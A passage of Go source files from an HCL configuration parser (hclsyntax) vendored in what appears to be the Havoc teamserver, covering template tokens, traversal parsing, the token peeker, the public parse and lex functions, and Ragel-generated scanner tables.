strings.TrimLeftFunc(orig, unicode.IsSpace) // If a token is entirely spaces and ends with a newline // then it's a "blank line" and thus not considered for // space-prefix-counting purposes. if len(trimmed) == 0 && strings.HasSuffix(orig, "\n") { spaces = maxInt } else { spaceBytes := len(lit.Val) - len(trimmed) spaces, _ = textseg.TokenCount([]byte(orig[:spaceBytes]), textseg.ScanGraphemeClusters) adjust = append(adjust, lit) } } else if _, ok := ttok.(*templateEndToken); ok { break // don't process the end token since it never has spaces before it } if spaces < minSpaces { minSpaces = spaces } } if lit, ok := ttok.(*templateLiteralToken); ok { if strings.HasSuffix(lit.Val, "\n") { newline = true // The following token, if any, begins a new line } } } for _, lit := range adjust { // Since we want to count space _characters_ rather than space _bytes_, // we can't just do a straightforward slice operation here and instead // need to hunt for the split point with a scanner. valBytes := []byte(lit.Val) spaceByteCount := 0 for i := 0; i < minSpaces; i++ { adv, _, _ := textseg.ScanGraphemeClusters(valBytes, true) spaceByteCount += adv valBytes = valBytes[adv:] } lit.Val = lit.Val[spaceByteCount:] lit.SrcRange.Start.Column += minSpaces lit.SrcRange.Start.Byte += spaceByteCount } } type templateParts struct { Tokens []templateToken SrcRange hcl.Range } // templateToken is a higher-level token that represents a single atom within // the template language. Our template parsing first raises the raw token // stream to a sequence of templateToken, and then transforms the result into // an expression tree. type templateToken interface { templateToken() templateToken } type templateLiteralToken struct { Val string SrcRange hcl.Range isTemplateToken } type templateInterpToken struct { Expr Expression SrcRange hcl.Range isTemplateToken } type templateIfToken struct { CondExpr Expression SrcRange hcl.Range isTemplateToken } type templateForToken struct { KeyVar string // empty if ignoring key ValVar string CollExpr Expression SrcRange hcl.Range isTemplateToken } type templateEndCtrlType int const ( templateEndIf templateEndCtrlType = iota templateElse templateEndFor ) type templateEndCtrlToken struct { Type templateEndCtrlType SrcRange hcl.Range isTemplateToken } func (t *templateEndCtrlToken) Name() string { switch t.Type { case templateEndIf: return "endif" case templateElse: return "else" case templateEndFor: return "endfor" default: // should never happen panic("invalid templateEndCtrlType") } } type templateEndToken struct { SrcRange hcl.Range isTemplateToken } type isTemplateToken [0]int func (t isTemplateToken) templateToken() templateToken { return t } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/parser_traversal.go000066400000000000000000000135551467014221700307510ustar00rootroot00000000000000package hclsyntax import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) // ParseTraversalAbs parses an absolute traversal that is assumed to consume // all of the remaining tokens in the peeker. The usual parser recovery // behavior is not supported here because traversals are not expected to // be parsed as part of a larger program. func (p *parser) ParseTraversalAbs() (hcl.Traversal, hcl.Diagnostics) { var ret hcl.Traversal var diags hcl.Diagnostics // Absolute traversal must always begin with a variable name varTok := p.Read() if varTok.Type != TokenIdent { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Variable name required", Detail: "Must begin with a variable name.", Subject: &varTok.Range, }) return ret, diags } varName := string(varTok.Bytes) ret = append(ret, hcl.TraverseRoot{ Name: varName, SrcRange: varTok.Range, }) for { next := p.Peek() if next.Type == TokenEOF { return ret, diags } switch next.Type { case TokenDot: // Attribute access dot := p.Read() // eat dot nameTok := p.Read() if nameTok.Type != TokenIdent { if nameTok.Type == TokenStar { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Attribute name required", Detail: "Splat expressions (.*) may not be used here.", Subject: &nameTok.Range, Context: hcl.RangeBetween(varTok.Range, nameTok.Range).Ptr(), }) } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Attribute name required", Detail: "Dot must be followed by attribute name.", Subject: &nameTok.Range, Context: hcl.RangeBetween(varTok.Range, nameTok.Range).Ptr(), }) } return ret, diags } attrName := string(nameTok.Bytes) ret = append(ret, hcl.TraverseAttr{ Name: attrName, SrcRange: hcl.RangeBetween(dot.Range, nameTok.Range), }) case TokenOBrack: // Index open := p.Read() // eat open bracket next := p.Peek() switch next.Type { case TokenNumberLit: tok := p.Read() // eat number numVal, numDiags := p.numberLitValue(tok) diags = append(diags, numDiags...) close := p.Read() if close.Type != TokenCBrack { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unclosed index brackets", Detail: "Index key must be followed by a closing bracket.", Subject: &close.Range, Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), }) } ret = append(ret, hcl.TraverseIndex{ Key: numVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }) if diags.HasErrors() { return ret, diags } case TokenOQuote: str, _, strDiags := p.parseQuotedStringLiteral() diags = append(diags, strDiags...) close := p.Read() if close.Type != TokenCBrack { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unclosed index brackets", Detail: "Index key must be followed by a closing bracket.", Subject: &close.Range, Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), }) } ret = append(ret, hcl.TraverseIndex{ Key: cty.StringVal(str), SrcRange: hcl.RangeBetween(open.Range, close.Range), }) if diags.HasErrors() { return ret, diags } default: if next.Type == TokenStar { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Attribute name required", Detail: "Splat expressions ([*]) may not be used here.", Subject: &next.Range, Context: hcl.RangeBetween(varTok.Range, next.Range).Ptr(), }) } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Index value required", Detail: "Index brackets must contain either a literal number or a literal string.", Subject: &next.Range, Context: hcl.RangeBetween(varTok.Range, next.Range).Ptr(), }) } return ret, diags } default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid character", Detail: "Expected an attribute access or an index operator.", Subject: &next.Range, Context: hcl.RangeBetween(varTok.Range, next.Range).Ptr(), }) return ret, diags } } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/peeker.go000066400000000000000000000155551467014221700266470ustar00rootroot00000000000000package hclsyntax import ( "bytes" "fmt" "path/filepath" "runtime" "strings" "Havoc/pkg/profile/yaotl" ) // This is set to true at init() time in tests, to enable more useful output // if a stack discipline error is detected. It should not be enabled in // normal mode since there is a performance penalty from accessing the // runtime stack to produce the traces, but could be temporarily set to // true for debugging if desired. var tracePeekerNewlinesStack = false type peeker struct { Tokens Tokens NextIndex int IncludeComments bool IncludeNewlinesStack []bool // used only when tracePeekerNewlinesStack is set newlineStackChanges []peekerNewlineStackChange } // for use in debugging the stack usage only type peekerNewlineStackChange struct { Pushing bool // if false, then popping Frame runtime.Frame Include bool } func newPeeker(tokens Tokens, includeComments bool) *peeker { return &peeker{ Tokens: tokens, IncludeComments: includeComments, IncludeNewlinesStack: []bool{true}, } } func (p *peeker) Peek() Token { ret, _ := p.nextToken() return ret } func (p *peeker) Read() Token { ret, nextIdx := p.nextToken() p.NextIndex = nextIdx return ret } func (p *peeker) NextRange() hcl.Range { return p.Peek().Range } func (p *peeker) PrevRange() hcl.Range { if p.NextIndex == 0 { return p.NextRange() } return p.Tokens[p.NextIndex-1].Range } func (p *peeker) nextToken() (Token, int) { for i := p.NextIndex; i < len(p.Tokens); i++ { tok := p.Tokens[i] switch tok.Type { case TokenComment: if !p.IncludeComments { // Single-line comment tokens, starting with # or //, absorb // the trailing newline that terminates them as part of their // bytes. When we're filtering out comments, we must as a // special case transform these to newline tokens in order // to properly parse newline-terminated block items. if p.includingNewlines() { if len(tok.Bytes) > 0 && tok.Bytes[len(tok.Bytes)-1] == '\n' { fakeNewline := Token{ Type: TokenNewline, Bytes: tok.Bytes[len(tok.Bytes)-1 : len(tok.Bytes)], // We use the whole token range as the newline // range, even though that's a little... weird, // because otherwise we'd need to go count // characters again in order to figure out the // column of the newline, and that complexity // isn't justified when ranges of newlines are // so rarely printed anyway. Range: tok.Range, } return fakeNewline, i + 1 } } continue } case TokenNewline: if !p.includingNewlines() { continue } } return tok, i + 1 } // if we fall out here then we'll return the EOF token, and leave // our index pointed off the end of the array so we'll keep // returning EOF in future too. return p.Tokens[len(p.Tokens)-1], len(p.Tokens) } func (p *peeker) includingNewlines() bool { return p.IncludeNewlinesStack[len(p.IncludeNewlinesStack)-1] } func (p *peeker) PushIncludeNewlines(include bool) { if tracePeekerNewlinesStack { // Record who called us so that we can more easily track down any // mismanagement of the stack in the parser. callers := []uintptr{0} runtime.Callers(2, callers) frames := runtime.CallersFrames(callers) frame, _ := frames.Next() p.newlineStackChanges = append(p.newlineStackChanges, peekerNewlineStackChange{ true, frame, include, }) } p.IncludeNewlinesStack = append(p.IncludeNewlinesStack, include) } func (p *peeker) PopIncludeNewlines() bool { stack := p.IncludeNewlinesStack remain, ret := stack[:len(stack)-1], stack[len(stack)-1] p.IncludeNewlinesStack = remain if tracePeekerNewlinesStack { // Record who called us so that we can more easily track down any // mismanagement of the stack in the parser. callers := []uintptr{0} runtime.Callers(2, callers) frames := runtime.CallersFrames(callers) frame, _ := frames.Next() p.newlineStackChanges = append(p.newlineStackChanges, peekerNewlineStackChange{ false, frame, ret, }) } return ret } // AssertEmptyNewlinesStack checks if the IncludeNewlinesStack is empty, doing // panicking if it is not. This can be used to catch stack mismanagement that // might otherwise just cause confusing downstream errors. // // This function is a no-op if the stack is empty when called. // // If newlines stack tracing is enabled by setting the global variable // tracePeekerNewlinesStack at init time, a full log of all of the push/pop // calls will be produced to help identify which caller in the parser is // misbehaving. func (p *peeker) AssertEmptyIncludeNewlinesStack() { if len(p.IncludeNewlinesStack) != 1 { // Should never happen; indicates mismanagement of the stack inside // the parser. if p.newlineStackChanges != nil { // only if traceNewlinesStack is enabled above panic(fmt.Errorf( "non-empty IncludeNewlinesStack after parse with %d calls unaccounted for:\n%s", len(p.IncludeNewlinesStack)-1, formatPeekerNewlineStackChanges(p.newlineStackChanges), )) } else { panic(fmt.Errorf("non-empty IncludeNewlinesStack after parse: %#v", p.IncludeNewlinesStack)) } } } func formatPeekerNewlineStackChanges(changes []peekerNewlineStackChange) string { indent := 0 var buf bytes.Buffer for _, change := range changes { funcName := change.Frame.Function if idx := strings.LastIndexByte(funcName, '.'); idx != -1 { funcName = funcName[idx+1:] } filename := change.Frame.File if idx := strings.LastIndexByte(filename, filepath.Separator); idx != -1 { filename = filename[idx+1:] } switch change.Pushing { case true: buf.WriteString(strings.Repeat(" ", indent)) fmt.Fprintf(&buf, "PUSH %#v (%s at %s:%d)\n", change.Include, funcName, filename, change.Frame.Line) indent++ case false: indent-- buf.WriteString(strings.Repeat(" ", indent)) fmt.Fprintf(&buf, "POP %#v (%s at %s:%d)\n", change.Include, funcName, filename, change.Frame.Line) } } return buf.String() } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/public.go000066400000000000000000000156651467014221700266540ustar00rootroot00000000000000package hclsyntax import ( "Havoc/pkg/profile/yaotl" ) // ParseConfig parses the given buffer as a whole HCL config file, returning // a *hcl.File representing its contents. If HasErrors called on the returned // diagnostics returns true, the returned body is likely to be incomplete // and should therefore be used with care. // // The body in the returned file has dynamic type *hclsyntax.Body, so callers // may freely type-assert this to get access to the full hclsyntax API in // situations where detailed access is required. However, most common use-cases // should be served using the hcl.Body interface to ensure compatibility with // other configurationg syntaxes, such as JSON. func ParseConfig(src []byte, filename string, start hcl.Pos) (*hcl.File, hcl.Diagnostics) { tokens, diags := LexConfig(src, filename, start) peeker := newPeeker(tokens, false) parser := &parser{peeker: peeker} body, parseDiags := parser.ParseBody(TokenEOF) diags = append(diags, parseDiags...) // Panic if the parser uses incorrect stack discipline with the peeker's // newlines stack, since otherwise it will produce confusing downstream // errors. peeker.AssertEmptyIncludeNewlinesStack() return &hcl.File{ Body: body, Bytes: src, Nav: navigation{ root: body, }, }, diags } // ParseExpression parses the given buffer as a standalone HCL expression, // returning it as an instance of Expression. func ParseExpression(src []byte, filename string, start hcl.Pos) (Expression, hcl.Diagnostics) { tokens, diags := LexExpression(src, filename, start) peeker := newPeeker(tokens, false) parser := &parser{peeker: peeker} // Bare expressions are always parsed in "ignore newlines" mode, as if // they were wrapped in parentheses. parser.PushIncludeNewlines(false) expr, parseDiags := parser.ParseExpression() diags = append(diags, parseDiags...) next := parser.Peek() if next.Type != TokenEOF && !parser.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extra characters after expression", Detail: "An expression was successfully parsed, but extra characters were found after it.", Subject: &next.Range, }) } parser.PopIncludeNewlines() // Panic if the parser uses incorrect stack discipline with the peeker's // newlines stack, since otherwise it will produce confusing downstream // errors. peeker.AssertEmptyIncludeNewlinesStack() return expr, diags } // ParseTemplate parses the given buffer as a standalone HCL template, // returning it as an instance of Expression. func ParseTemplate(src []byte, filename string, start hcl.Pos) (Expression, hcl.Diagnostics) { tokens, diags := LexTemplate(src, filename, start) peeker := newPeeker(tokens, false) parser := &parser{peeker: peeker} expr, parseDiags := parser.ParseTemplate() diags = append(diags, parseDiags...) // Panic if the parser uses incorrect stack discipline with the peeker's // newlines stack, since otherwise it will produce confusing downstream // errors. peeker.AssertEmptyIncludeNewlinesStack() return expr, diags } // ParseTraversalAbs parses the given buffer as a standalone absolute traversal. // // Parsing as a traversal is more limited than parsing as an expression since // it allows only attribute and indexing operations on variables. Traverals // are useful as a syntax for referring to objects without necessarily // evaluating them. func ParseTraversalAbs(src []byte, filename string, start hcl.Pos) (hcl.Traversal, hcl.Diagnostics) { tokens, diags := LexExpression(src, filename, start) peeker := newPeeker(tokens, false) parser := &parser{peeker: peeker} // Bare traverals are always parsed in "ignore newlines" mode, as if // they were wrapped in parentheses. parser.PushIncludeNewlines(false) expr, parseDiags := parser.ParseTraversalAbs() diags = append(diags, parseDiags...) parser.PopIncludeNewlines() // Panic if the parser uses incorrect stack discipline with the peeker's // newlines stack, since otherwise it will produce confusing downstream // errors. peeker.AssertEmptyIncludeNewlinesStack() return expr, diags } // LexConfig performs lexical analysis on the given buffer, treating it as a // whole HCL config file, and returns the resulting tokens. // // Only minimal validation is done during lexical analysis, so the returned // diagnostics may include errors about lexical issues such as bad character // encodings or unrecognized characters, but full parsing is required to // detect _all_ syntax errors. func LexConfig(src []byte, filename string, start hcl.Pos) (Tokens, hcl.Diagnostics) { tokens := scanTokens(src, filename, start, scanNormal) diags := checkInvalidTokens(tokens) return tokens, diags } // LexExpression performs lexical analysis on the given buffer, treating it as // a standalone HCL expression, and returns the resulting tokens. // // Only minimal validation is done during lexical analysis, so the returned // diagnostics may include errors about lexical issues such as bad character // encodings or unrecognized characters, but full parsing is required to // detect _all_ syntax errors. func LexExpression(src []byte, filename string, start hcl.Pos) (Tokens, hcl.Diagnostics) { // This is actually just the same thing as LexConfig, since configs // and expressions lex in the same way. tokens := scanTokens(src, filename, start, scanNormal) diags := checkInvalidTokens(tokens) return tokens, diags } // LexTemplate performs lexical analysis on the given buffer, treating it as a // standalone HCL template, and returns the resulting tokens. // // Only minimal validation is done during lexical analysis, so the returned // diagnostics may include errors about lexical issues such as bad character // encodings or unrecognized characters, but full parsing is required to // detect _all_ syntax errors. func LexTemplate(src []byte, filename string, start hcl.Pos) (Tokens, hcl.Diagnostics) { tokens := scanTokens(src, filename, start, scanTemplate) diags := checkInvalidTokens(tokens) return tokens, diags } // ValidIdentifier tests if the given string could be a valid identifier in // a native syntax expression. // // This is useful when accepting names from the user that will be used as // variable or attribute names in the scope, to ensure that any name chosen // will be traversable using the variable or attribute traversal syntax. func ValidIdentifier(s string) bool { // This is a kinda-expensive way to do something pretty simple, but it // is easiest to do with our existing scanner-related infrastructure here // and nobody should be validating identifiers in a tight loop. tokens := scanTokens([]byte(s), "", hcl.Pos{}, scanIdentOnly) return len(tokens) == 2 && tokens[0].Type == TokenIdent && tokens[1].Type == TokenEOF } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/scan_string_lit.go000066400000000000000000000142341467014221700305470ustar00rootroot00000000000000//line scan_string_lit.rl:1 package hclsyntax // This file is generated from scan_string_lit.rl. DO NOT EDIT. //line scan_string_lit.go:9 var _hclstrtok_actions []byte = []byte{ 0, 1, 0, 1, 1, 2, 1, 0, } var _hclstrtok_key_offsets []byte = []byte{ 0, 0, 2, 4, 6, 10, 14, 18, 22, 27, 31, 36, 41, 46, 51, 57, 62, 74, 85, 96, 107, 118, 129, 140, 151, } var _hclstrtok_trans_keys []byte = []byte{ 128, 191, 128, 191, 128, 191, 10, 13, 36, 37, 10, 13, 36, 37, 10, 13, 36, 37, 10, 13, 36, 37, 10, 13, 36, 37, 123, 10, 13, 36, 37, 10, 13, 36, 37, 92, 10, 13, 36, 37, 92, 10, 13, 36, 37, 92, 10, 13, 36, 37, 92, 10, 13, 36, 37, 92, 123, 10, 13, 36, 37, 92, 88, 0x78, 128, 191, 192, 223, 224, 239, 240, 247, 248, 255, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, } var _hclstrtok_single_lengths []byte = []byte{ 0, 0, 0, 0, 4, 4, 4, 4, 5, 4, 5, 5, 5, 5, 6, 5, 2, 5, 5, 5, 5, 5, 5, 5, 5, } var _hclstrtok_range_lengths []byte = []byte{ 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 3, 3, 3, 3, 3, 3, 3, 3, } var _hclstrtok_index_offsets []byte = []byte{ 0, 0, 2, 4, 6, 11, 16, 21, 26, 32, 37, 43, 49, 55, 61, 68, 74, 82, 91, 100, 109, 118, 127, 136, 145, } var _hclstrtok_indicies []byte = []byte{ 0, 1, 2, 1, 3, 1, 5, 6, 7, 8, 4, 10, 11, 12, 13, 9, 14, 11, 12, 13, 9, 10, 11, 15, 13, 9, 10, 11, 12, 13, 14, 9, 10, 11, 12, 15, 9, 17, 18, 19, 20, 21, 16, 23, 24, 25, 26, 27, 22, 0, 24, 25, 26, 27, 22, 23, 24, 28, 26, 27, 22, 23, 24, 25, 26, 27, 0, 22, 23, 24, 25, 28, 27, 22, 29, 30, 22, 2, 3, 31, 22, 0, 23, 24, 25, 26, 27, 32, 32, 32, 22, 23, 24, 25, 26, 27, 33, 33, 33, 22, 23, 24, 25, 26, 27, 34, 34, 34, 22, 23, 24, 25, 26, 27, 30, 30, 30, 22, 23, 24, 25, 26, 27, 35, 35, 35, 22, 23, 24, 25, 26, 27, 36, 36, 36, 22, 23, 24, 25, 26, 27, 37, 37, 37, 22, 23, 24, 25, 26, 27, 0, 0, 0, 22, } var _hclstrtok_trans_targs []byte = []byte{ 11, 0, 1, 2, 4, 5, 6, 7, 9, 4, 5, 6, 7, 9, 5, 8, 10, 11, 12, 13, 15, 16, 10, 11, 12, 13, 15, 16, 14, 17, 21, 3, 18, 19, 20, 22, 23, 24, } var _hclstrtok_trans_actions []byte = []byte{ 0, 0, 0, 0, 0, 1, 1, 1, 1, 3, 5, 5, 5, 5, 0, 0, 0, 1, 1, 1, 1, 1, 3, 5, 5, 5, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, } var _hclstrtok_eof_actions []byte = []byte{ 0, 0, 0, 0, 0, 3, 3, 3, 3, 3, 0, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, } const hclstrtok_start int = 4 const hclstrtok_first_final int = 4 const hclstrtok_error int = 0 const hclstrtok_en_quoted int = 10 const hclstrtok_en_unquoted int = 4 //line scan_string_lit.rl:10 func scanStringLit(data []byte, quoted bool) [][]byte { var ret [][]byte // Ragel state p := 0 // "Pointer" into data pe := len(data) // End-of-data "pointer" ts := 0 te := 0 eof := pe var cs int // current state switch { case quoted: cs = hclstrtok_en_quoted default: cs = hclstrtok_en_unquoted } // Make Go compiler happy _ = ts _ = eof /*token := func () { ret = append(ret, data[ts:te]) }*/ //line scan_string_lit.go:154 { } //line scan_string_lit.go:158 { var _klen int var _trans int var _acts int var _nacts uint var _keys int if p == pe { goto _test_eof } if cs == 0 { goto _out } _resume: _keys = int(_hclstrtok_key_offsets[cs]) _trans = int(_hclstrtok_index_offsets[cs]) _klen = int(_hclstrtok_single_lengths[cs]) if _klen > 0 { _lower := int(_keys) var _mid int _upper := int(_keys + _klen - 1) for { if _upper < _lower { break } _mid = _lower + ((_upper - _lower) >> 1) switch { case data[p] < _hclstrtok_trans_keys[_mid]: _upper = _mid - 1 case data[p] > _hclstrtok_trans_keys[_mid]: _lower = _mid + 1 default: _trans += int(_mid - int(_keys)) goto _match } } _keys += _klen _trans += _klen } _klen = int(_hclstrtok_range_lengths[cs]) if _klen > 0 { _lower := int(_keys) var _mid int _upper := int(_keys + (_klen << 1) - 2) for { if _upper < _lower { break } _mid = _lower + (((_upper - _lower) >> 1) & ^1) switch { case data[p] < _hclstrtok_trans_keys[_mid]: _upper = _mid - 2 case data[p] > _hclstrtok_trans_keys[_mid+1]: _lower = _mid + 2 default: _trans += int((_mid - int(_keys)) >> 1) goto _match } } _trans += _klen } _match: _trans = int(_hclstrtok_indicies[_trans]) cs = int(_hclstrtok_trans_targs[_trans]) if _hclstrtok_trans_actions[_trans] == 0 { goto _again } _acts = int(_hclstrtok_trans_actions[_trans]) _nacts = uint(_hclstrtok_actions[_acts]) _acts++ for ; _nacts > 0; _nacts-- { _acts++ switch _hclstrtok_actions[_acts-1] { case 0: //line scan_string_lit.rl:40 // If te is behind p then we've skipped over some literal // characters which we must now return. if te < p { ret = append(ret, data[te:p]) } ts = p case 1: //line scan_string_lit.rl:48 te = p ret = append(ret, data[ts:te]) //line scan_string_lit.go:253 } } _again: if cs == 0 { goto _out } p++ if p != pe { goto _resume } _test_eof: { } if p == eof { __acts := _hclstrtok_eof_actions[cs] __nacts := uint(_hclstrtok_actions[__acts]) __acts++ for ; __nacts > 0; __nacts-- { __acts++ switch _hclstrtok_actions[__acts-1] { case 1: //line scan_string_lit.rl:48 te = p ret = append(ret, data[ts:te]) //line scan_string_lit.go:278 } } } _out: { } } //line scan_string_lit.rl:89 if te < p { // Collect any leftover literal characters at the end of the input ret = append(ret, data[te:p]) } // If we fall out here without being in a final state then we've // encountered something that the scanner can't match, which should // be impossible (the scanner matches all bytes _somehow_) but we'll // tolerate it and let the caller deal with it. if cs < hclstrtok_first_final { ret = append(ret, data[p:len(data)]) } return ret } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/scan_string_lit.rl000066400000000000000000000056261467014221700305640ustar00rootroot00000000000000 package hclsyntax // This file is generated from scan_string_lit.rl. DO NOT EDIT. %%{ # (except you are actually in scan_string_lit.rl here, so edit away!) machine hclstrtok; write data; }%% func scanStringLit(data []byte, quoted bool) [][]byte { var ret [][]byte %%{ include UnicodeDerived "unicode_derived.rl"; UTF8Cont = 0x80 .. 0xBF; AnyUTF8 = ( 0x00..0x7F | 0xC0..0xDF . UTF8Cont | 0xE0..0xEF . UTF8Cont . UTF8Cont | 0xF0..0xF7 . UTF8Cont . UTF8Cont . UTF8Cont ); BadUTF8 = any - AnyUTF8; Hex = ('0'..'9' | 'a'..'f' | 'A'..'F'); # Our goal with this patterns is to capture user intent as best as # possible, even if the input is invalid. The caller will then verify # whether each token is valid and generate suitable error messages # if not. UnicodeEscapeShort = "\\u" . Hex{0,4}; UnicodeEscapeLong = "\\U" . Hex{0,8}; UnicodeEscape = (UnicodeEscapeShort | UnicodeEscapeLong); SimpleEscape = "\\" . (AnyUTF8 - ('U'|'u'))?; TemplateEscape = ("$" . ("$" . ("{"?))?) | ("%" . ("%" . ("{"?))?); Newline = ("\r\n" | "\r" | "\n"); action Begin { // If te is behind p then we've skipped over some literal // characters which we must now return. if te < p { ret = append(ret, data[te:p]) } ts = p; } action End { te = p; ret = append(ret, data[ts:te]); } QuotedToken = (UnicodeEscape | SimpleEscape | TemplateEscape | Newline) >Begin %End; UnquotedToken = (TemplateEscape | Newline) >Begin %End; QuotedLiteral = (any - ("\\" | "$" | "%" | "\r" | "\n")); UnquotedLiteral = (any - ("$" | "%" | "\r" | "\n")); quoted := (QuotedToken | QuotedLiteral)**; unquoted := (UnquotedToken | UnquotedLiteral)**; }%% // Ragel state p := 0 // "Pointer" into data pe := len(data) // End-of-data "pointer" ts := 0 te := 0 eof := pe var cs int // current state switch { case quoted: cs = hclstrtok_en_quoted default: cs = hclstrtok_en_unquoted } // Make Go compiler happy _ = ts _ = eof /*token := func () { ret = append(ret, data[ts:te]) }*/ %%{ write init nocs; write exec; }%% if te < p { // Collect any leftover literal characters at the end of the input ret = append(ret, data[te:p]) } // If we fall out here without being in a final state then we've // encountered something that the scanner can't match, which should // be impossible (the scanner matches all bytes _somehow_) but we'll // tolerate it and let the caller deal with it. if cs < hclstrtok_first_final { ret = append(ret, data[p:len(data)]) } return ret } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/scan_tokens.go000066400000000000000000006125151467014221700277020ustar00rootroot00000000000000//line scan_tokens.rl:1 package hclsyntax import ( "bytes" "Havoc/pkg/profile/yaotl" ) // This file is generated from scan_tokens.rl. DO NOT EDIT. //line scan_tokens.go:15 var _hcltok_actions []byte = []byte{ 0, 1, 0, 1, 1, 1, 3, 1, 4, 1, 7, 1, 8, 1, 9, 1, 10, 1, 11, 1, 12, 1, 13, 1, 14, 1, 15, 1, 16, 1, 17, 1, 18, 1, 19, 1, 20, 1, 23, 1, 24, 1, 25, 1, 26, 1, 27, 1, 28, 1, 29, 1, 30, 1, 31, 1, 32, 1, 35, 1, 36, 1, 37, 1, 38, 1, 39, 1, 40, 1, 41, 1, 42, 1, 43, 1, 44, 1, 47, 1, 48, 1, 49, 1, 50, 1, 51, 1, 52, 1, 53, 1, 56, 1, 57, 1, 58, 1, 59, 1, 60, 1, 61, 1, 62, 1, 63, 1, 64, 1, 65, 1, 66, 1, 67, 1, 68, 1, 69, 1, 70, 1, 71, 1, 72, 1, 73, 1, 74, 1, 75, 1, 76, 1, 77, 1, 78, 1, 79, 1, 80, 1, 81, 1, 82, 1, 83, 1, 84, 1, 85, 2, 0, 14, 2, 0, 25, 2, 0, 29, 2, 0, 37, 2, 0, 41, 2, 1, 2, 2, 4, 5, 2, 4, 6, 2, 4, 21, 2, 4, 22, 2, 4, 33, 2, 4, 34, 2, 4, 45, 2, 4, 46, 2, 4, 54, 2, 4, 55, } var _hcltok_key_offsets []int16 = []int16{ 0, 0, 1, 2, 4, 9, 13, 15, 57, 98, 144, 145, 149, 155, 155, 157, 159, 168, 174, 181, 182, 185, 186, 190, 195, 204, 208, 212, 220, 222, 224, 226, 229, 261, 263, 265, 269, 273, 276, 287, 300, 319, 332, 348, 360, 376, 391, 412, 422, 434, 445, 459, 474, 484, 496, 505, 517, 519, 523, 544, 553, 563, 569, 575, 576, 625, 627, 631, 633, 639, 646, 654, 661, 664, 670, 674, 678, 680, 684, 688, 692, 698, 706, 714, 720, 722, 726, 728, 734, 738, 742, 746, 750, 755, 762, 768, 770, 772, 776, 778, 784, 788, 792, 802, 807, 821, 836, 838, 846, 848, 853, 867, 872, 874, 878, 879, 883, 889, 895, 905, 915, 926, 934, 937, 940, 944, 948, 950, 953, 953, 956, 958, 988, 990, 992, 996, 1001, 1005, 1010, 1012, 1014, 1016, 1025, 1029, 1033, 1039, 1041, 1049, 1057, 1069, 1072, 1078, 1082, 1084, 1088, 1108, 1110, 1112, 1123, 1129, 1131, 1133, 1135, 1139, 1145, 1151, 1153, 1158, 1162, 1164, 1172, 1190, 1230, 1240, 1244, 1246, 1248, 1249, 1253, 1257, 1261, 1265, 1269, 1274, 1278, 1282, 1286, 1288, 1290, 1294, 1304, 1308, 1310, 1314, 1318, 1322, 1335, 1337, 1339, 1343, 1345, 1349, 1351, 1353, 1383, 1387, 1391, 1395, 1398, 1405, 1410, 1421, 1425, 1441, 1455, 1459, 1464, 1468, 1472, 1478, 1480, 1486, 1488, 1492, 1494, 1500, 1505, 1510, 1520, 1522, 1524, 1528, 1532, 1534, 1547, 1549, 1553, 1557, 1565, 1567, 1571, 1573, 1574, 1577, 1582, 1584, 1586, 1590, 1592, 1596, 1602, 1622, 1628, 1634, 1636, 1637, 1647, 1648, 1656, 1663, 1665, 1668, 1670, 1672, 1674, 1679, 1683, 1687, 1692, 1702, 1712, 1716, 1720, 1734, 1760, 1770, 1772, 1774, 1777, 1779, 1782, 1784, 1788, 1790, 1791, 1795, 1797, 1800, 1807, 1815, 1817, 1819, 1823, 1825, 1831, 1842, 1845, 1847, 1851, 1856, 1886, 1891, 1893, 1896, 1901, 1915, 1922, 1936, 1941, 1954, 1958, 1971, 1976, 1994, 1995, 2004, 2008, 2020, 2025, 2032, 2039, 2046, 2048, 2052, 2074, 2079, 2080, 2084, 2086, 2136, 2139, 2150, 2154, 2156, 2162, 2168, 2170, 2175, 2177, 2181, 2183, 2184, 2186, 2188, 2194, 2196, 2198, 2202, 2208, 2221, 2223, 2229, 2233, 2241, 2252, 2260, 2263, 2293, 2299, 2302, 2307, 2309, 2313, 2317, 2321, 2323, 2330, 2332, 2341, 2348, 2356, 2358, 2378, 2390, 2394, 2396, 2414, 2453, 2455, 2459, 2461, 2468, 2472, 2500, 2502, 2504, 2506, 2508, 2511, 2513, 2517, 2521, 2523, 2526, 2528, 2530, 2533, 2535, 2537, 2538, 2540, 2542, 2546, 2550, 2553, 2566, 2568, 2574, 2578, 2580, 2584, 2588, 2602, 2605, 2614, 2616, 2620, 2626, 2626, 2628, 2630, 2639, 2645, 2652, 2653, 2656, 